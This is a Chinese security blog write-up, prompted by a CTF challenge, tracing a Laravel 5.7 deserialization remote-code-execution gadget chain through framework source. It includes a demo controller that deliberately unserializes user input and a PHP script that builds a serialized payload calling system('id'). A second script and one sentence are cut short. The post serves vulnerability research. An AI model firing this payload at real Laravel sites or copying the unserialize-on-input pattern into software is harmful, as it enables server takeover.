

在前一阵的 2019强网杯线下赛 中，出现一道 Laravel5.7 RCE 漏洞的利用。之前有关注过这个漏洞，但没细究。比赛期间，原漏洞作者删除了详细的分析文章，故想自己挖掘这个漏洞利用链。本文将详细记录 Laravel5.7 反序列化漏洞RCE链 的挖掘过程。

漏洞环境

直接使用 composer 安装 laravel5.7 框架，并通过 php artisan serve 命令启动 Web 服务。

```
→ html composer create-project laravel/laravel laravel57 "5.7.*"
→ html cd laravel57
→ laravel57 php artisan serve --host=0.0.0.0
```

在 laravel57/routes/web.php 文件中添加一条路由，便于我们后续访问。

```
// /var/www/html/laravel57/routes/web.php
<?php
Route::get("/", "\App\Http\Controllers\DemoController@demo");
?>
```

在 laravel57/app/Http/Controllers/ 下添加 DemoController 控制器，代码如下：

```
// /var/www/html/laravel57/app/Http/Controllers/DemoController.php
<?php
namespace App\Http\Controllers;

use Illuminate\Http\Request;

class DemoController extends Controller
{
    public function demo()
    {
        if(isset($_GET['c'])){
            $code = $_GET['c'];
            unserialize($code);
        }
        else{
            highlight_file(__FILE__);
        }
        return "Welcome to laravel5.7";
    }
}
```

漏洞链挖掘

可用于执行命令的功能位于 Illuminate/Foundation/Testing/PendingCommand 类的 run 方法中，而该 run 方法在 __destruct 方法中调用。我们可以参阅官方提供的 API 说明手册，来看下各属性和方法的具体含义。

← → ↻ 🔒 https://laravel.com/api/5.7/Illuminate/Foundation/Testing/PendingCommand.html 🔍 ☆ 📄 ⚙️ 🛡️ 👤 ⋮

Laravel 5.7 🔍 Search

- Support
- Testing
 - Concerns
 - Constraints
 - DatabaseMigrations
 - DatabaseTransactions
 - HttpException
 - PendingCommand**
 - RefreshDatabase
 - RefreshDatabaseState
 - TestCase
 - TestResponse
 - WithFaker
 - WithoutEvents
 - WithoutMiddleware
- Validation
 - AliasLoader
 - Application
 - ComposerScripts
 - EnvironmentDetector
 - Inspiring
 - PackageManifest
 - ProviderRepository
- Hashing
 - AbstractHasher
 - Argon2IdHasher
 - ArgonHasher
 - BcryptHasher
 - HashManager
 - HashingServiceProvider

PendingCommand

class PendingCommand (View source)

Properties

TestCase	\$test	The test being run.
protected Application	\$app	The application instance.
protected string	\$command	The command to run.
protected array	\$parameters	The parameters to pass to the command.
protected int	\$expectedExitCode	The expected exit code.
protected bool	\$hasExecuted	Determine if command has executed.

Methods

void	__construct (TestCase \$test, Application \$app, string \$command, array \$parameters)	Create a new pending console command run.
\$this	expectsQuestion (string \$question, string \$answer)	Specify a question that should be asked when the command runs.
\$this	expectsOutput (string \$output)	Specify output that should be printed when the command runs.
\$this	assertExitCode (int \$exitCode)	Assert that the command has the given exit code.
int	execute ()	Execute the command.
int	run ()	Execute the command.

接着我们看下 run 方法的具体代码。如下图所示，当执行完 mockConsoleOutput 方法后，程序会在 第22行 执行命令。那么要想利用这个命令执行，我们就要保证 mockConsoleOutput 方法在执行时不会中断程序（如exit、抛出异常等）。

```
1 // vendor/laravel/framework/src/Illuminate/Foundation/Testing/PendingCommand.php
2 class PendingCommand
3 {
4     public $test; // \Illuminate\Foundation\Testing\TestCase
5     protected $app; // \Illuminate\Foundation\Application
6     protected $command; // The command to run.
7     protected $parameters; // The parameters to pass to the command.
8     protected $expectedExitCode; // expected exit code.
9     protected $hasExecuted = false; // Determine if command has executed.
10
11     public function __destruct(){
12         if ($this->hasExecuted) {
13             return;
14         }
15         $this->run();
16     }
17
18     public function run(){
19         $this->hasExecuted = true;
20         $this->mockConsoleOutput();
21         try { // Execute the command.
22             $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
23         } catch (NoMatchingExpectationException $e) { .... }
24         ....
25     }
26 }
```

我们跟进 mockConsoleOutput 方法。在下图 第6行 代码，我们先使用单步调试直接跳过，观察代码是否继续执行到 第10行 的 foreach 代码。如果没有，我们则需要对 第6行 代码进行详细分析。经过调试，我们会发现程序正常执行到 第10行，那 第6行 的代码我们就可以先不细究。

```

1 // vendor/laravel/framework/src/Illuminate/Foundation/Testing/PendingCommand.php
2 class PendingCommand
3 {
4     protected function mockConsoleOutput()
5     {
6         // OutputStyle::class => Illuminate\Console\OutputStyle
7         $mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
8             (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
9         ]);
10
11         foreach (($this->test->expectedQuestions as $i => $question) {
12             $mock->shouldReceive('askQuestion')
13                 ->once()
14                 ->ordered()
15                 ->with(Mockery::on(function ($argument) use ($question) {
16                     return $argument->getQuestion() == $question[0];
17                 })))
18                 ->andReturnUsing(function () use ($question, $i) {
19                     unset($this->test->expectedQuestions[$i]);
20                     return $question[1];
21                 });
22         }
23
24         $this->app->bind(OutputStyle::class, function () use ($mock) {
25             return $mock;
26         });
27     }
28 }

```



从上图可看出，第10行 `$this->test` 对象的 `expectedQuestions`

属性是一个数组。如果这个数组的内容可以控制，当然会方便我们控制下面的链式调用。所以我们这里考虑通过 `__get` 魔术方法来控制数据，恰巧 laravel 框架中有挺多可利用的地方，这里我随意选取一个 `Faker\DefaultGenerator` 类。

public function __get

35 matches in 35 files

In Project

Module

Directory

Scope

/var/www/html/laravel57

public function __get(\$attribute)

ValidGenerator 40

public function __get(\$attribute)

UniqueGenerator 30

public function __get(\$attribute)

DefaultGenerator 23

public function __get(\$property)

ExceptionThrower 24

public function __get(\$key)

Data 121

public function __get(\$key)

Support/Collection 2008

public function __get(\$key)

Fluent 154

public function __get(\$key)

ViewErrorBag 104

laravel57/vendor/fzaninotto/faker/src/Faker/DefaultGenerator.php

```

9 class DefaultGenerator
10 {
11     protected $default;
12
13     public function __construct($default = null)
14     {
15         $this->default = $default;
16     }
17
18     /**
19      * @param string $attribute
20      *
21      * @return mixed
22      */
23     public function __get($attribute)
24     {
25         return $this->default;
26     }

```



所以我们构造如下 EXP 继续进行测试。同样，使用该 EXP 在 `foreach` 语句处使用单步跳过，看看是否可以正常执行到 `$this->app->bind(xxxx)`

语句。实际上，这里可以正常结束 `foreach` 语句，并没有抛出什么异常。同样，我们对 `$this->app->bind(xxxx)` 语句也使用单步跳过，程序同样可以正常运行。

```

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        public $test;
        protected $app;
        protected $command;
        protected $parameters;

        public function __construct($test, $app, $command, $parameters)
        {
            $this->test = $test;
            $this->app = $app;
            $this->command = $command;
            $this->parameters = $parameters;
        }
    }
}

namespace Faker{
    class DefaultGenerator{
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}

namespace Illuminate\Foundation{
    class Application{
        public function __construct() { }
    }
}

namespace{
    $defaultgenerator = new Faker\DefaultGenerator(array("1" => "1"));
    $application = new Illuminate\Foundation\Application();
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('id'));
    echo urlencode(serialize($pendingcommand));
}
?>

```

使用上面的 EXP，我们已经可以成功进入到最后一步，而这里如果直接单步跳过就会抛出异常，因此我们需要跟进细看。

```
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
```

这里的 `$this->app` 实际上是 `Illuminate\Foundation\Application` 类，而在类后面使用 `[]` 是什么意思呢？一开始，我以为这是 PHP7 的新语法，后来发现并不是。我们在上面的代码前加上如下两段代码，然后动态调试一下。

```

$klass = Kernel::class;
$app = $this->app[Kernel::class];
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);

```

可以看到 `Kernel::class` 对应固定的字符串 `Illuminate\Contracts\Console\Kernel`，而单步跳过 `$app = $this->app[Kernel::class];` 代码时会抛出异常。跟进这段代码，我们会发现它会依次调用如下类方法，这些我们都不需要太关注，因为没有发现可控点。

```

1 class Container implements ArrayAccess, ContainerContract
2 {
3     // $key => Illuminate\Contracts\Console\Kernel
4     public function offsetGet($key)
5     {
6         return $this->make($key);
7     }
8 }
9 class Application extends Container implements ApplicationContract, HttpKernelInterface
10 {
11     // $abstract => Illuminate\Contracts\Console\Kernel
12     public function make($abstract, array $parameters = [])
13     {
14         $abstract = $this->getAlias($abstract);
15
16         if (isset($this->deferredServices[$abstract]) && ! isset($this->instances[$abstract])) {
17             $this->loadDeferredProvider($abstract);
18         }
19
20         return parent::make($abstract, $parameters);
21     }
22 }
23 class Container implements ArrayAccess, ContainerContract
24 {
25     public function make($abstract, array $parameters = [])
26     {
27         return $this->resolve($abstract, $parameters);
28     }
29 }

```



我们要关注的点在最后调用的 `resolve` 方法上，因为这段代码中有我们可控的利用点。如下图中 角标1 处，可以明显看到程序 `return` 了一个我们可控的数据。也就是说，我们可以将任意对象赋值给 `$this->instances[$abstract]`，这个对象最终会赋值给 `$this->app[Kernel::class]`，这样就会变成调用我们构造的对象的 `call` 方法了。（下图的第二个点是原漏洞作者利用的地方，目的也是返回一个可控类实例，具体可以参看文章：[laravel5.7反序列化rce\(CVE-2019-9081\)](https://www.exploit-db.com/exploits/45811/)）

```

1 // vendor/laravel/framework/src/Illuminate/Container/Container.php
2 class Container implements ArrayAccess, ContainerContract
3 {
4     protected function resolve($abstract, $parameters = [])
5     {
6         $abstract = $this->getAlias($abstract);
7
8         $needsContextualBuild = ! empty($parameters) || ! is_null(
9             $this->getContextualConcrete($abstract)
10        );
11
12        if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
13            1 return $this->instances[$abstract];
14        }
15
16        $this->with[] = $parameters;
17        2 $concrete = $this->getConcrete($abstract);
18
19        if ($this->isBuildable($concrete, $abstract)) {
20            $object = $this->build($concrete);
21        } else {
22            $object = $this->make($concrete);
23        }
24
25        foreach ($this->getExtenders($abstract) as $extender) {
26            $object = $extender($object, $this);
27        }
28
29        if ($this->isShared($abstract) && ! $needsContextualBuild) {
30            $this->instances[$abstract] = $object;
31        }
32
33        $this->fireResolvingCallbacks($abstract, $object);
34        $this->resolved[$abstract] = true;
35        array_pop($this->with);
36
37        return $object;
38    }
39 }

```



现在我们再次构造如下 EXP 继续进行尝试。为了避免文章篇幅过长，与上面 EXP 相同的代码段用省略号代替。

```

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        ...
    }
}

namespace Faker{
    class DefaultGenerator{
        ...
    }
}

namespace Illuminate\Foundation{
    class Application{

```

我们用上面生成的 EXP 尝试攻击，会发现已经可以成功执行命令了。

这里我们再说说为什么这里 `$this->instances['Illuminate\Contracts\Console\Kernel']` 我选择的是 `Illuminate\Foundation\Application` 类，我们跟着 EXP

Illuminate\Foundation\Application 类继承了 Illuminate\Container\Container 类的 call 方法，其调用的又是 Illuminate\Container\BoundMethod 的 call 静态方法。而在这个静态方法中，我们看到一个关键函数 call_user_func_array，其在闭包函数中被调用。


```

1 // vendor/laravel/framework/src/Illuminate/Container/Container.php
2 class Container implements ArrayAccess, ContainerContract
3 {
4     public function call($callback, array $parameters = [], $defaultMethod = null)
5     {
6         return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
7     }
8 }
9
10
11 // vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php
12 class BoundMethod
13 {
14     public static function call($container, $callback, array $parameters = [], $defaultMethod = null)
15     {
16         if (static::isCallableWithAtSign($callback) || $defaultMethod) {
17             return static::callClass($container, $callback, $parameters, $defaultMethod);
18         }
19
20         return static::callBoundMethod($container, $callback, function () use ($container, $callback,
21 $parameters) {
22             return call_user_func_array(
23                 $callback, static::getMethodDependencies($container, $callback, $parameters)
24             );
25         });
26 }

```



我们先来看一下这个闭包函数在 callBoundMethod 静态方法中是如何被调用的。可以看到在 callBoundMethod 方法中，返回了闭包函数的调用结果。而闭包函数中返回了 call_user_func_array(\$callback, static::getMethodDependencies(\$container, \$callback, \$parameters))，我们继续看这个 getMethodDependencies 函数的代码。该函数仅仅是返回 \$dependencies 数组和 \$parameters 的合并数据，其中 \$dependencies 默认是一个空数组，而 \$parameters 正是我们可控的数据。因此，这个闭包函数返回的是 call_user_func_array(■■■■,■■■■)，最终导致代码执行。

```

1 // vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php
2 class BoundMethod
3 {
4     protected static function callBoundMethod($container, $callback, $default)
5     {
6         if (! is_array($callback)) {
7             return $default instanceof Closure ? $default() : $default;
8         }
9         ...
10    }
11
12    protected static function getMethodDependencies($container, $callback, array $parameters = [])
13    {
14        $dependencies = [];
15
16        foreach (static::getCallReflector($callback)->getParameters() as $parameter) {
17            static::addDependencyForCallParameter($container, $parameter, $parameters, $dependencies);
18        }
19
20        return array_merge($dependencies, $parameters);
21    }
22 }

```



总结

个人认为 PHP 相关的漏洞中，最有趣的部分就属于 POP 链

的挖掘。通过不断找寻可利用点，再将它们合理的串成一条链，直达漏洞核心。为了防止思维被固化，个人不建议一开始就去细看他人的漏洞分析文章，不妨自己先试着分析

点击收藏 | 2 关注 | 2

[上一篇：无需Native Code的RCE...](#) [下一篇：记脚本小子的一次渗透全过程](#)

1. 0 条回复

- [动动手指，沙发就是你的了！](#)

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)